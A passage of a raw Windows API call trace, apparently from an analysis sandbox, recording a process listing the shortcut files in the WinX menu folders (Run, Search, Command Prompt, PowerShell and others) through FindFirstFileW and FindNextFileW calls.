ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4c90 [0219.659] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.659] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="1-DESK~1.LNK")) returned 1 [0219.659] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.659] FindNextFileW (in: hFindFile=0x1d1f4c90, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.660] FindClose (in: hFindFile=0x1d1f4c90 | out: hFindFile=0x1d1f4c90) returned 1 [0219.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.660] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1", lpFilePart=0x0) returned 0x41 [0219.660] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group1\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0219.660] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1d13ee, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf686326, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.660] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Desktop.lnk", cAlternateFileName="1-DESK~1.LNK")) returned 1 [0219.661] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.661] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0219.661] FindClose (in: hFindFile=0x1d1f4ed0 | out: hFindFile=0x1d1f4ed0) returned 1 [0219.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.661] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x41 [0219.661] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5110 [0219.663] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.663] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="1-RUN~1.LNK")) returned 1 [0219.663] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="2-SEAR~1.LNK")) returned 1 [0219.664] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="3-WIND~1.LNK")) returned 1 [0219.664] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="4-CONT~1.LNK")) returned 1 [0219.664] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="5-TASK~1.LNK")) returned 1 [0219.664] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.664] FindNextFileW (in: hFindFile=0x1d1f5110, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.664] FindClose (in: hFindFile=0x1d1f5110 | out: hFindFile=0x1d1f5110) returned 1 [0219.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.666] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x41 [0219.666] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4e10 [0219.667] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.667] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="1-RUN~1.LNK")) returned 1 [0219.667] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="2-SEAR~1.LNK")) returned 1 [0219.668] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="3-WIND~1.LNK")) returned 1 [0219.668] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="4-CONT~1.LNK")) returned 1 [0219.668] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="5-TASK~1.LNK")) returned 1 [0219.668] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.668] FindNextFileW (in: hFindFile=0x1d1f4e10, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0219.668] FindClose (in: hFindFile=0x1d1f4e10 | out: hFindFile=0x1d1f4e10) returned 1 [0219.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.669] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x41 [0219.669] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0219.671] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.671] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="01-COM~1.LNK")) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="01A-WI~1.LNK")) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="02-COM~1.LNK")) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="02A-WI~1.LNK")) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="03-COM~1.LNK")) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="04-DIS~1.LNK")) returned 1 [0219.672] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="04-1-N~1.LNK")) returned 1 [0219.673] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="05-DEV~1.LNK")) returned 1 [0219.673] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="06-SYS~1.LNK")) returned 1 [0219.673] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="07-EVE~1.LNK")) returned 1 [0219.673] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, 